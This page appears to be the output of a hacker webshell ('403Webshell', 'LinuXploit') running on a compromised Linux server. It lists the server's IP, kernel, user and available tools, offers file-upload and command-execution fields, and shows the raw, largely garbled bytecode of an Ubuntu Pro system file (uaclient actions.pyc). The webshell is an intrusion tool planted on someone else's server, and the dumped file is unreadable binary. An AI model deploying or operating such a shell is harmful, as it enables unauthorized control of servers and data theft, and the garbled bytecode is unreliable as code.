403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/uaclient/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/uaclient/__pycache__/actions.cpython-314.pyc
+
GvKjS;���^RIt^RIt^RIt^RIt^RIt^RIt^RIt^RIHtH	t	^RI
HtHtH
t
HtHtHtHtHt^RI
Ht^RI
HtHt^RI
Ht^RI
HtHtHt^RIHtHtHtH t ^R	I!H"t"H#t#^R
I$H%t%H&t&H't'H(t(H)t)]PT!4t+]PX!]PZ!].44t/R't0^
t1RRlt2R(RRllt3R(RRllt4R)RRllt5RR
RRRR
RR/RRllt6RRRR
/RRlltRR lt7R*R!R"llt8R#R$lt9R%R&lt:R#)+�N)�List�Optional)�api�clouds�config�contract�entitlements�event_logger�
exceptions�	livepatch)�log)�messages�secret_manager)�status)�system�timer�util)�APPARMOR_PROFILES�CLOUD_BUILD_INFO�DEFAULT_CONFIG_FILE�DEFAULT_LOG_PREFIX)�
machine_token�notices)�AttachmentData�attachment_data_file�machine_id_file�only_series_check_marker_file�timer_jobs_state_filec�x�V^8�dQhR\PR\PR\P/#)��cfg�contract_client�attached_at)r�UAConfigr�UAContractClient�datetime)�formats"�2/usr/lib/python3/dist-packages/uaclient/actions.py�__annotate__r)9s6��
,�
,�	���
,��.�.�
,��"�"�
,�c��^RIHp\P!\	VR74\
P!VR7V!V4VP4R#)r��update_motd_messages�r#�r!N)�uaclient.timer.update_messagingr-r�writer�	ua_statusr�update_activity_token)r!r"r#r-s&&& r(�_handle_partial_attachr49s=��
E����~�+�F�G�
���������)�)�+r*Fc
��V^8�dQhR\PR\\P,R\P
R\PR\/#)r r!�services_to_be_enabledr"r#�silent)rr$rr�EnableByDefaultServicer%r&�bool)r's"r(r)r)FsU��?�?�	���?� ��!@�!@�A�?��.�.�?��"�"�	?�

�?r*c�R�Rp.p.pVFup\VVPVPVR7wr�WY,pV	'gVPVP4KU\PVPR7Kw	T'g�\YT4\PT4T'dr\P!\Yg4U
Uu.uFDwr�T
\P P#\%T4\&P(!4R73NKF	upp
R7h\P*!TU
u.uFp
T
\P,3NK	up
R7hR# \Pd3p\PXP4\YT4ThRp?i\Pd"TPXP4RpELU\d:pRpTPXP4TPT4Rp?EL�Rp?ii;iuupp
iuup
i)T)r!�name�variantr7)�serviceNF)�	error_msg�log_path)�failed_services)�enable_entitlement_by_namer;r<�append�event�service_processedr�ConnectivityError�service_failedr4�UbuntuProError�	Exception�services_failed�AttachFailureUnknownError�zipr�UNEXPECTED_ERRORr'�str�pro_log�get_user_or_root_log_file_path�AttachFailureDefaultServices�!E_ATTACH_FAILURE_DEFAULT_SERVICES)r!r6r"r#r7�retr@�unexpected_errors�enable_by_default_service�ent_ret�reason�exc�er;�	exceptions&&&&&          r(�_enable_default_servicesrZFs����C��O���$�)?�%�8��.�3�3�1�9�9��	�O�G�
�N�C���&�&�'@�'E�'E�F��'�'�0I�0N�0N�'�O�*@�2��s�[�A�
���o�.���6�6�,/�'�,�!�,���
� �1�1�8�8�&)�)�n�%,�%K�%K�%M�9���,�!�
�

��9�9�!0�!� /���8�E�E�F� /�!��
�+���'�'��
���6�;�;�<��s�[�A��	���$�$�����8�=�=�>����$������8�=�=�>�� � ��#�#��$��!��!sC�A;E�A
H
�9H$�H�3-F � H�7H�H�!H�".H�Hc
�`�V^8�dQhR\PR\R\R\RR/#)r r!�token�allow_enabler7�returnN)rr$rMr9)r's"r(r)r)�sE��\�\�	���\��\��\�
�	\�

�\r*c��^RIHp^RIHp\P
P
V4\P!V4p\P!V4p\PP\PPR7pVPWR7p	\ P"!4P$p
V	P'R/4P'R/4p\)RVP'R.444pVP'R	/4P'R
/4P'RR4p
V
'd�\ P*!V
4p\ P*!V
4pVP,VP,8�d-\.P0!VP2VP4R
7h\6P8!\6P:P<VP2VP4R
7\>P@!V
4VPAV	4V!V4\ PHPK4T	P'R/4P'R\ PH!T44p\LP@!T4T'd5\PN!YPQ44p\STTTTTR7\TP@!\WTR74T!T4\XPZ!4R# \.PBdELi;i \.PDdpTPG4ThRp?ii;i)a+
Common functionality to take a token and attach via contract backend
:raise ConnectivityError: On unexpected connectivity issues to contract
    server or inability to access identity doc from metadata service.
:raise ContractAPIError: On unexpected errors when talking to the contract
    server.
)�+check_entitlement_apt_directives_are_uniquer,)�tz)�contract_token�
attachment_dt�machineTokenInfo�contractInfoc3�x"�TF0pVPR4R8XgKVPR4V3x�K2	R#5i)�type�supportN)�get)�.0rXs& r(�	<genexpr>�$attach_with_token.<locals>.<genexpr>�s6����=�A��5�5��=�I�%�	����v����=�s�:�:�resourceEntitlementsrh�affordances�
onlySeriesN)�release�series_codename�	machineId)r!r6r"r#r7r.).�uaclient.entitlementsr`r0r-r�secrets�
add_secretr�get_machine_token_filerr%r&�now�timezone�utc�add_contract_machiner�get_release_info�seriesri�dict�get_distro_info�eolr�AttachFailureRestrictedReleaserprqr�add�Notice�LIMITED_TO_RELEASErr1�MissingSeriesInDistroInfoFile�%EntitlementsAPTDirectivesAreNotUnique�delete�get_machine_id�cache_clearr�get_enabled_by_default_servicesr	rZrrr�start)r!r\r]r7r`r-�machine_token_filer"r#�new_machine_token�current_seriesre�support_resource�only_series�allowed_release�current_releaserX�
machine_idr6s&&&&               r(�attach_with_tokenr��s����E����%�%�e�,�&�=�=�c�B���/�/��4�O��#�#�'�'�8�+<�+<�+@�+@�'�A�K�'�<�<��=����,�,�.�5�5�N�$�(�(�);�R�@�D�D����L����!�!�"8�"�=����	���Y��+�	��]�B�	�	��\�4�	 ���	=�$�4�4�[�A�O�%�4�4�^�D�O��"�"�_�%8�%8�8� �?�?�+�3�3�$3�$C�$C���

�K�K����1�1�'�/�/� /� ?� ?�
�

*�/�/��<����.�/��3�C�8�
���%�%�'�"�&�&�'9�2�>�B�B��V�*�*�3�/��J����*�%��!)�!I�!I��0�0�2�"
��	!��#9�+�#��	
����~�+�F�G����	�K�K�M��]�7�7�	�
�	��,�;�;���!�!�#�����s*�L
� L)�
L&�%L&�)M�>M�Mc�\�V^8�dQhR\PR\PRR/#)r r!�cloudr^N)rr$r�AutoAttachInstance)r's"r(r)r)�s5��C�C�	���C��$�$�C�
�	Cr*c�B�VPV4p\WVR7R#)a@
:raise ConnectivityError: On unexpected connectivity issues to contract
    server or inability to access identity doc from metadata service.
:raise ContractAPIError: On unexpected errors when talking to the contract
    server.
:raise NonAutoAttachImageError: If this cloud type does not have
    auto-attach support.
)r\r]N)�acquire_pro_tokenr�)r!r�r]r\s&&& r(�auto_attachr��s��
�#�#�C�(�E��c�\�Br*�access_onlyr<�r7�
extra_argsc��V^8�dQhR\PR\R\R\R\R\\
\,,/#)r r!r;r�r<r7r�)rr$rMr9rr)r's"r(r)r)�sQ����	����

���	�
��
�
���c��#�r*c��\P!VVVVVR7pV'g>\P\P
P
VPR74VP\P!44wrxV'dFV'g>\P\PP
VPR74Wx3#)z�
Constructs an entitlement based on the name provided. Passes kwargs onto
the entitlement constructor.
:raise EntitlementNotFoundError: If no entitlement with the given name is
    found, then raises this error.
)r!r;r<r�r�)�title)r	�entitlement_factoryrC�infor�
ENABLING_TMPLr'r��enabler�ProgressWrapper�ENABLED_TMPL)	r!r;r�r<r7r��entitlementrUrVs	&&$$$$   r(rArA�s����2�2��
�����K��
�
�
�8�)�)�0�0�{�7H�7H�0�I�J�!�(�(��)<�)<�)>�?�O�G��v�
�
�
�8�(�(�/�/�k�6G�6G�/�H�I��?�r*�simulate_with_token�show_allc�f�V^8�dQhR\PR\\,R\/#)r r!r�r�)rr$rrMr9)r's"r(r)r)s0����	����"�#����	r*c��V'd\P!VVVR7wr4W43#\P!WR7p^pW43#)z.
Construct the current Pro status dictionary.
)r!r\r��r!r�)r2�simulate_statusr)r!r�r�rrRs&$$  r(rrsK����/�/��%��
����;���!�!�c�=�����;�r*c�(�V^8�dQhR\RR/#)r �filenamer^N)rM)r's"r(r)r)0s��B�B�3�B�4�Br*c��.ROpRpRp\P!V4wr4V'dr.pVPR4F2p\P!W&4'gK!VPV4K4	\P!VRPV44R#R# \PdZp\PR\T44\P!RPT4\T44Rp?R#Rp?ii;i)zy
Helper which gets ubuntu_pro apparmor logs from the kernel from the last
day and writes them to the specified filename.
z7apparmor=\".*(profile=\"ubuntu_pro_|name=\"ubuntu_pro_)N�
z!Failed to collect kernel logs:
%s�{}-error)�
journalctlz-bz-kz--since=1 day ago)r�subp�split�re�searchrB�
write_file�joinr�ProcessExecutionError�LOG�warningrMr')r��cmd�apparmor_re�kernel_logs�_�
apparmor_logs�kernel_linerXs&       r(�_write_apparmor_logs_to_filer�0s���:�C�L�K��K�B����S�)���
��M�*�0�0��6���9�9�[�6�6�!�(�(��5� 7�
���h��	�	�-�(@�A�
��	�+�+�?����8�#�a�&�A����*�+�+�H�5�s�1�v�>�>��?�s�B�D�2AD�Dc�`�V^8�dQhR\R\\\,,RR/#)r r��return_codesr^N)rMrr�int)r's"r(r)r)Is-��
�
��
�&.�t�C�y�&9�
�	�
r*c�H�\P!VP4VR7wr4\P!VRP	W444R# \
Pd;p\P!RP	T4\T44Rp?R#Rp?ii;i)zCHelper which runs a command and writes output or error to filename.)�rcszstdout:
{}

stderr:
{}r�N)rr�r�r�r'rr�rM)r�r�r��out�errrXs&&&   r(�_write_command_output_to_filer�Isz��
��;�;�s�y�y�{��=���	����2�9�9�#�C�	
���+�+�?����*�+�+�H�5�s�1�v�>�>��?�s�(A�B!�'/B�B!c�8�V^8�dQhR\P/#)r r!)rr$)r's"r(r)r)Ws����&�/�/�r*c�a�SP;'g\SP\PP
\.V3Rl\P4O#)c3�<"�TFCp\V\PP4'gK/V!S4Px�KE	R#5i�N)�
issubclassr	�repo�RepoEntitlement�	repo_file)rj�entitlement_clsr!s& �r(rk�#_get_state_files.<locals>.<genexpr>^s;����

�#C���/�<�+<�+<�+L�+L�M�
+�O�C� �*�*�#C�s
�,A�A)	�cfg_pathr�log_filer�ua_file�pathrr	�ENTITLEMENT_CLASSESr/sfr(�_get_state_filesr�WsP���	���+�+�+�����%�%�*�*��	
�


�#/�#C�#C�

�
�
r*c�D�V^8�dQhR\PR\/#)r r!�
output_dir)rr$rM)r's"r(r)r)fs"��f�f�f�o�o�f�3�fr*c�
�\RRPV44\RP\P4RPV44\RRPV44\RRPV44\R	PR
P	\
Uu.uFpRV9gKRPV4NK	up44R
PV44\
F1p\RPV4RPW4^^.R7K3	\
VRR7wrE\P!RPV4\P!V\PR74\P!4p\P!RPV4\P!V44\V4p\P!4'd\ P"!4R\$M\ P&!4.p\)V4F�wr�\*P,P/V
4'd\0P3RV
4KB\P4!\P6!V
44p\P!\*P,P	VRPV	44V4K�	V\<P<!\>R,4,F�p
\*P,PAV
4'gK*\P6!V
4p\P4!T4p\P!4'd\P!Y�4\P!\*P,P	T\*P,PCT
44T4K�	\ERPV44\FFAp
\*P,PAV
4'gK*\HPJ!W�4KC	R#uupi \8d-p\0P3RT
\;T44Rp?EKYRp?ii;i \8d-p\0P3RT
\;T44Rp?EK�Rp?ii;i \8d,p\0P3RT
\;T44Rp?K�Rp?ii;i)z?
Write all relevant Ubuntu Pro logs to the specified directory
zcloud-idz{}/cloud-id.txtz	{} statusz{}/livepatch-status.txtzsystemctl list-timers --allz{}/systemd-timers.txtzujournalctl --boot=0 -o short-precise -u cloud-init-local.service -u cloud-init-config.service -u cloud-config.servicez{}/cloud-init-journal.txtzjournalctl -o short-precise {}� z.servicez-u {}z{}/pro-journal.txtzsystemctl status {}z	{}/{}.txt)r�Fr�z{}/pro-status.json)�clsz{}/environment_vars.jsonNz$Skipping symlinked user log file: %sz
user{}.logz&Failed to collect user log file: %s
%s�*zFailed to load file: %s
%sz{}/apparmor_logs.txtzFailed to copy file: %s
%s)&r�r'r�
LIVEPATCH_CMDr��UA_SERVICESrrr��json�dumpsr�DatetimeAwareJSONEncoder�get_pro_environmentr��we_are_currently_rootrN�get_all_user_log_files�USER_LOG_COLLECTED_LIMIT�get_user_log_file�	enumerate�osr��islinkr�r��redact_sensitive_logs�	load_filerHrM�globr�isfile�basenamer�r�shutil�copy)r!r��sr=�
pro_statusr��env_vars�state_files�user_log_files�log_file_idxr��contentrX�fs&&            r(�collect_logsr�fs���"��%�,�,�Z�8��"����9�2�2�3�!�(�(��4��"�%��&�&�z�2��"�
&�
	$�*�*�:�6��"�	,�4�4��H�H�,7�K�K�q�:��?�"�����"�K�K�
�	
�
	�#�#�J�/�
���%�!�(�(��1����z�3��Q��	
���s�U�3�M�J�
����#�#�J�/��
�
�:�4�#@�#@�A���'�'�)�H�
���"�)�)�*�5��
�
�8���
#�3�'�K��%�%�'�'�	�&�&�(�)B�*B�C��'�'�)�
*��#,�N�";���
�7�7�>�>�(�#�#��K�K�>��I��		��0�0��1A�1A�(�1K�L�G���������Z��)<�)<�\�)J�K��
�#<�"�4�9�9�%7�#�%=�>�
>�
>��
�7�7�>�>�!���
� �*�*�1�-���0�0��9�G��)�)�+�+��!�!�!�-���������Z����)9�)9�!�)<�=�w�
�?�(!�!7�!>�!>�z�!J�K���
�7�7�>�>�!���
����A�*���KL��P�	��K�K�9�8�S��V�
�
��	���
����9�1�c�!�f�E���
��.�
����9�1�c�!�f�E���
�sU�-	Q�;Q�8A.Q�=R�;S�R�' R�R�S
�! S�S
�T� T�T)zapt-news.servicezesm-cache.servicezua-timer.servicezua-timer.timerzua-auto-attach.pathzua-auto-attach.servicezua-reboot-cmds.servicezubuntu-advantage.service)F)Tr�);r&r�r��loggingr�r�r��typingrr�uaclientrrrrr	r
rrr
rNrrrr2rrr�uaclient.defaultsrrrr�uaclient.filesrr�uaclient.files.state_filesrrrrr�get_event_loggerrC�	getLogger�replace_top_level_logger_name�__name__r�r�r�r4rZr�r�rAr�r�r�r��r*r(�<module>r	s������	�	�
�!�	�	�	�$�-�(�(�(���2���	�%�%�'��
����:�:�8�D�E��	����
,�?�D\�~C�"��	�
���
�'+��D�*.���	�,B�2
��fr*

Youez - 2016 - github.com/yon3zu
LinuXploit